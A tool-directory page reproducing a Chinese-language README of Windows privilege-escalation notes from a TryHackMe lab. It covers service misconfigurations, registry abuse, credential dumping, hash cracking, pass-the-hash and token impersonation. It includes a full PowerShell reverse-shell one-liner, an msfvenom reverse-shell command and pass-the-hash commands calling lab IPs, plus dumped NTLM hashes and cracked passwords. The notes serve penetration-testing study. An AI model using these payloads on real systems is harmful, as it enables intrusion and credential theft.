Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Windows-Privilege-Escalation-Notes — 我的 Windows 权限提升概念手册。请查看我的播放列表,链接:https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk | Kitploit
工具/GitHubGitHub/saisathvik1/windows-privilege-escalation-notes
权限提升密码攻击漏洞利用信息收集后渗透利用CTF渗透测试学习与教育
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
saisathvik1/windows-privilege-escalation-notes

Windows-Privilege-Escalation-Notes

我的 Windows 权限提升概念手册。请查看我的播放列表,链接:https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk

查看仓库
591434年前Kitploit 审核通过

Windows 权限提升

  • 推荐使用 https://tryhackme.com/room/windows10privesc 的房间,但你可以选择任何你喜欢的。
  • 一些资源,
    • https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
    • https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
    • https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
    • https://www.fuzzysecurity.com/tutorials/16.html

Windows 机器中的账户类型:

  • Administrator(本地):这是拥有最高权限的用户。
  • Standard(本地):这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久性或关键性更改。
  • Guest:此账户允许访问系统,但并未定义为用户。
  • Standard(域):Active Directory 允许组织管理用户账户。标准域账户可能拥有本地管理员权限。
  • Administrator(域):可被视为权限最高的用户。它可以在整个组织的域中编辑、创建和删除其他用户。
  • SYSTEM : 这并非严格意义上的账户,但 Windows 服务会利用该账户来执行任务,而且该账户甚至拥有更高的权限。

An Important point worth noting is Groups, any user of Group Administrator helps us to escalate!


信息收集:

  • 最佳资源之一:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
  1. whoami /priv - 当前用户的权限
  2. net users - 列出所有用户
  3. net user <username> - 列出特定用户的详细信息
  4. qwinsta - 同时登录的其他用户
  5. net localgroup - 系统中可用的组
  6. net localgroup <group-name> - 列出特定组的成员
  7. systeminfo - 提供有关操作系统的所有信息
  8. hostname - 系统的主机名
  9. findstr /si password *.txt - 我们正在查找包含“password”的文本文件
  10. wmic qfe get Caption,Description,HotFixID,InstalledOn - 这提供有关安全修补程序及相关信息
  11. netstat -ano - 与机器关联的连接
  12. schtasks /query /fo LIST /v - 查看已计划的任务
  13. driverquery - 列出驱动程序相关信息

Windows Exploit Suggester:

  • 这是一个传奇工具,大多数人都使用它
  • 使用此工具,我们可以解决互联网上 60% 的靶机。
  • 链接:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
  • 只需在您的机器上保存一份 systeminfo 工具的输出,这就是该工具的唯一要求。
  • 专业提示:确保所有依赖项均已满足!

易受攻击的软件:

  • 这里我们将尝试查找已安装的软件版本,并检查其是否存在漏洞。
  • wmic product get name,version,vendor - 这会提供产品名称、版本和供应商。这条命令能很好地可视化我们所需的信息。
  • 有时上述命令可能无法使用,因此请使用 wmic service list brief | findstr "Running",而要获取有关该服务的更多信息,请使用 sc qc <ServiceName>。


通过 Metasploit 进行权限提升:

  • 在 Metasploit 中获得会话后,运行名为 post/multi/recon/local_exploit_suggester 的模块,确保你的会话处于后台,这样该工具才能正常工作,或者你可以直接从 meterpreter 中加载。
  • 然后它会建议一些可被利用的模块,试试它们,其中一些可能会生效(可选)。


WinPEAS:

  • 这是一个非常有用的自动化枚举脚本。
  • 为了最佳使用效果,请运行 winpeas.exe --help 查看所有选项。
  • 只运行所需的选项,并调整输出内容。


内核漏洞利用:

  • 使用这个名为 Windows Exploit Suggester 的特定工具。
  • 首先,通过运行 systeminfo 命令获取系统信息,将其复制到任意文件中,并以 .txt 扩展名命名。
  • 然后使用数据库运行该工具。
  • 在这里查找与内核相关的漏洞利用。
  • 祝黑客之旅愉快!!


服务漏洞利用:

不安全的服务权限:

  • 这里我们将尝试识别具有不安全权限的服务,然后尝试利用它们。

  • 这里我们可以使用 winpeas.exe servicesinfo 命令,可以看到哪些服务非常有帮助。

  • 输出中一个有趣的部分如下,```

    daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig

root@kitploit:~
- 但为了获取更多信息,我们可以使用一个名为 **accesschk** 的工具,它由微软开发,运行方式如下 `accesschk.exe /accepteula -uwcqv <current-user> <service>`,输出为,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL

  • 但主要部分是 service_change_config,我们可以在其中更改服务的配置。
  • 运行 sc qc <service>,然后记下 Binary_path_name(也可以称为 binpath),这就是我们要更改的(邪恶的微笑)
  • 现在创建一个 shell 类型的 payload,并将其传输到目标机器
  • 更改配置的语法:sc config <service> <option>="<value>"
  • 现在执行 sc config daclsvc binpath="<path>",然后启动服务:sc start daclsvc

Unquoted Service Path:(USP)

  • 对于服务,路径需要用引号括起来,如果没有这样括起来,那么我们就可以利用这个漏洞来获得高权限。``` Vulnerability Insight: The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.

C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe

root@kitploit:~
- 要获取更多信息,只需使用 **WinPEAS** 脚本并加上 `servicesinfo` 选项,这里我们可以查看是否存在任何可利用的 **Unquoted Service Path**。这里我运行了该工具,输出中比较有趣的部分如下所示,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected  
  • 这里的输出明确显示 无引号且检测到空格,因此我们可以得出结论:我们可以使用 USP 来利用这个特定服务。
  • 要获取有关该服务的更多信息,请使用 sc qc <service>
  • 现在让我们使用 accesschk 检查这个特定位置 C:\Program Files\Unquoted Path Service 的权限,因此运行 accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"。输出:``` accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" C:\Program Files\Unquoted Path Service Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Users RW NT SERVICE\TrustedInstaller RW NT AUTHORITY\SYSTEM RW BUILTIN\Administrators
root@kitploit:~
- 我们拥有读写权限。
- 现在我们将创建一个载荷并将其放入 `C:\Program Files\Unquoted Path Service`,通过 `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`,这里我使用了一个不同的名称,这在字母顺序上也有一定优势。
- 现在启动服务,`sc start unquotedsvc`,我们是管理员了!!!

-----------------------
### 弱注册表权限:
- 这里我们将尝试利用具有弱注册表权限的服务。
- 为了查找,我们需要使用带有 `servicesinfo` 选项的 `Winpeas`。输出看起来类似这样:```
����������͹ Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions                                                                                          
    HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])

现在我们得到了服务的名称,即 regsvc,让我们深入了解这个服务,运行 sc qc regsvc,输出如下:``` sc qc regsvc [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem

root@kitploit:~
- 一个很酷的事实是,路径带有引号,所以不存在**未加引号的服务路径**。
- 现在让我们运行 `accesschk.exe` 深入挖掘,所以运行 `accesschk /acceptula -uvwqk <path of registry>`(即 `HKLM\system\currentcontrolset\services\regsvc`)
- 在输出中查找 `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)`,现在我们就可以顺利利用了。
- 现在让我们通过 `reg query HKLM\system\currentcontrolset\services\regsvc` 查看注册表中的选项,我发现一个名为 `ImagePath` 的选项,它接受可执行文件的值,所以让我们利用它。首先创建一个反弹 shell。
- 现在运行 `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`,根据你的需求选择 payload 的路径。
- 现在运行服务 `net start regsvc`,太棒了!我获得了 shell。

-----------------------  
### 不安全的服务可执行文件:
- 这里的服务文件权限对所有用户开放!我们尝试修改服务的可执行文件,就可以搞定了!
- 让我们运行 **Winpeas**,特别是使用 **servicesinfo** 模块,看看有什么有趣的东西,输出结果如下:```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
    File Permissions: Everyone [AllAccess]

  • 每个人都可以访问服务 filepermsvc 的文件,所以我们将创建一个 reverse_shell 的 payload,并用它替换服务的可执行文件,从而获得 shell。
  • 与上面相比,这有点容易。


Registry

  • 在这里,我们利用注册表来查找信息并尝试进行利用!
  • 我们只是在检查我们可以滥用的功能。

Autoruns:

  • Autoruns 是 Windows 的一个功能,用于在启动时启动一些服务或应用程序,例如 "greenshot"
  • 我们可以通过运行 reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 来手动检查它们 - 这将显示自动运行的程序及其路径。
  • 输出如下:``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SecurityHealth REG_EXPAND_SZ %windir%\system32\SecurityHealthSystray.exe My Program REG_SZ "C:\Program Files\Autorun Program\program.exe"
root@kitploit:~
- 我们得到了两个带路径的程序,所以让我们测试一下。
- 现在我们将运行 **accesscheck** 来检查这些自动运行项的文件路径具有哪些权限。
- 直接运行 `accesschk.exe \accepteula -wvu "<path>"`,我对 **My Program** 自动运行项的路径运行了该命令,输出显示 `FILE_ALL_ACCESS`,因此我们实际上可以对该文件夹做任何操作。主要是我们可以替换原始可执行文件,然后重启系统,就能获得 shell。
- 现在我们需要等待管理员登录,然后我们就能以特权用户身份获得 shell!
- 这里的难点在于,我们必须等到管理员/所有者登录,否则就无法继续了!

------------------------------
### AlwaysInstallElevated
- 它允许标准用户以管理权限安装 **msi**(Microsoft Installer)。
- 这很酷,而且很容易获得更高权限,
- 我们可以通过运行以下命令来检查:
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` 和
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- 运行这两个命令,**AlwaysInstallElevated** 的值必须为 1 或 0x1。这样我们就能确认并继续。
- 现在创建一个 **msi** 格式的反向 shell,参考以下命令:
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- 现在将其传输到 Windows 机器并运行命令:
`msiexec /quiet /qn /i reverse.msi`
- 太棒了!我们以 `nt authority\system` 身份获得了 shell。

------------------
-------------------
## 密码:
- 在这里,我们在注册表、文件等中查找凭据。
- 然后我们会尝试登录!

----------------------
### 在注册表中查找密码:
- 我们可以在注册表中搜索密码,有时能发现其他用户的密码,甚至所有者的密码。
- 运行 `reg query HKLM /f password /t REG_SZ /s`,这会给出注册表中包含 **password** 字符串的所有详细信息,搜索一下,你可能会找到!但遗憾的是,我一个都没找到。
- 另外运行 `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
`,我们可能会找到一些信息。
- 我们还可以使用传奇工具 **winPEAS**,配合一些选项运行,比如 `windowscreds` —— 查找凭据,还有 `filesinfo` —— 检查文件和注册表中的有用数据(有时也包括密码)。
- 在获取密码后,这里是 `password123`,所以现在让我们借助 **psexec**(链接:https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py)登录,语法是 `python3 psexec.py [email protected]`,它会提示输入密码,输入后我们就能像管理员一样获得访问权限!

-------------------------
### 密码 : 已保存的凭据
- 首先运行 `cmdkey /list`,这里的 **cmdkey** 是一个 Windows Server 应用程序,用于*创建、列出和删除存储的用户名和密码或凭据*。运行这个命令,我们就能看到所有已保存的用户凭据!
- 输出为,```
Currently stored credentials:

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic 
    User: 02nfpgrklkitqatu
    Local machine persistence
    
    Target: Domain:interactive=WIN-QBA94KB3IOF\admin
    Type: Domain Password
    User: WIN-QBA94KB3IOF\admin
  • 我们可以看到用户 admin,所以让我们使用 runas 实用程序。它允许用户以不同于当前登录所提供的权限来运行特定的工具和程序。
  • 让我们运行 runas /savecred /user:admin C:\Temp\reverse.exe,这将赋予我们管理员权限

密码:SAM(安全账户管理器)

  • SAM 包含 Windows 密码的 NTLM 哈希,我们有可能破解它们,但这并不总是有帮助,因为我们面对的是哈希!
  • 但了解这个方法肯定会有帮助。
  • 而且在 99% 的情况下,SAM 文件无法以普通权限访问,但在这个靶机中,作者在 C:\Windows\Repair 目录下创建了一份 SAM 文件副本,这样我们就可以玩了!该目录中有两个文件,分别是 SAM 和 SYSTEM
  • 我们需要获取这两个文件,以便与名为 creddump7(https://github.com/CiscoCXSecurity/creddump7) 的工具一起使用。我是借助 meterpreter 的 download 命令获取它们的。
  • 现在,克隆完成后运行以下命令 python2 pwdump.py /opt/work/SYSTEM /opt/work/SAM,它就会显示 Windows 机器上可用用户的哈希。输出如下:``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2::: user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a::: admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
root@kitploit:~
- 现在将上述内容保存到文本文件中,然后借助 **JohnTheRipper** 进行破解,语法为 `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`,然后就成功破解了!```
password123      (admin)     
password321      (user)     
Passw0rd!        (Administrator)  

密码:哈希传递攻击

  • 假设我们无法破解该哈希,因为它不在字典中,那么我们可以使用这种攻击方式 哈希传递(Pass the hash),它允许我们借助哈希进行身份验证!
  • 所以获取哈希,这里我们以 admin 身份登录,其哈希是 a9fdfa038c4b75ebc76dc855dd74f0da
  • 首先导出,export SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da,这里我们也使用了带有 groupid 的哈希
  • 然后运行 pth-winexe -U admin% //10.10.213.97 cmd.exe,我获得了 admin 的 shell
  • 工具 pth-winexe 在 kali 中已经可用。
  • 如果卡住了,请查看这个:https://www.whitelist1.com/2017/10/pass-hash-pth-attack-with-pth-winexe.html


利用计划任务:

  • 就像 Linux 中一样,Windows 中也有计划任务。
  • 要查看所有计划任务,请运行 schtasks /query /fo LIST /V
  • 这里 CleanUp.ps1 似乎很有意思,路径是 C:\DevTools\CleanUp.ps1
  • 所以让我们看看我们能对这个位置以及那个文件做什么,运行 accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1,结果显示我们拥有读取、写入等所有权限
  • 任务描述中的进程有点不同,所以我找了一个 PowerShell 反向 shell,即,``` $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
root@kitploit:~
然后我传输并重命名为 `CleanUp.ps1`,并且获得了连接。

--------------------
---------------------
## 不安全的 GUI 应用程序:
- 获得 RDP 连接后,打开 `Taskmanager`,在 `Details` 选项卡中可以看到正在运行的应用程序以及对应的用户。
- 这里他们故意将 `mspaint.exe` 配置为以管理员身份运行,因此这就是我们的目标。
- 由于我们正在使用**画图**,我们可以打开文件,因此我们将打开 `file://c:/windows/system32/cmd.exe`,然后砰!我们就以 **admin** 用户身份获得了 shell!
- 这里的功能有些受限,因为我们并不总能获得 RDP 连接。

-----------------------
----------------------
## 启动应用:
- Windows 有一个功能,允许某些应用在启动时运行,我们可以滥用此功能。
- 启动应用位于 `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`,这是默认路径。
- 让我们通过 **accesschk.exe** 检查我们能做什么,因此运行 `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"`。输出如下,```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
  RW WIN-QBA94KB3IOF\Administrator
  RW WIN-QBA94KB3IOF\admin
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  Everyone
  • 这里有一个名为 CreateShortcut.vbs 的脚本,它以管理员权限运行,主要目的是为我们上传的反向 shell 创建一个 快捷方式。
  • 传输 payload 并运行脚本,现在我们只需要等待管理员登录,然后我们就能获得 shell。
  • 这种情况很少见,通过这种方式利用的机会较少。


令牌模拟(Token Impersonation):

  • 令牌就像计算机的 cookie,好处是我们无需每次输入凭据即可连接到任何网络……等等
  • 令牌有两种类型,
  1. Delegate token:用于登录机器或使用 RDP 时创建
  2. Impersonate toke:非交互式,用于附加网络驱动器或域登录脚本。
  • 我们可以通过在 meterpreter 会话中运行 list_tokens -u 来查看所有令牌,之后在找到一些不错的令牌后运行 impersonate_token <name of token>
  • 我们还可以运行 whomai /priv 查看当前用户的权限,如果在那里能找到像 SeAssignPrimaryToken 之类的权限,这些权限相当危险,太危险了!要了解更多关于这些权限以及如何利用它们的信息,请查看这篇文章:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privileges

Potato 攻击:

  • 此攻击的指南是:https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
  • 我们可以使用的 payload 是:https://github.com/ohpe/juicy-potato
  • 在这里,我们尝试获得像 NT Authority/System 这样的访问权限 [仍在进行中.....]
下载工具
  • sc query windefend - 查找防病毒服务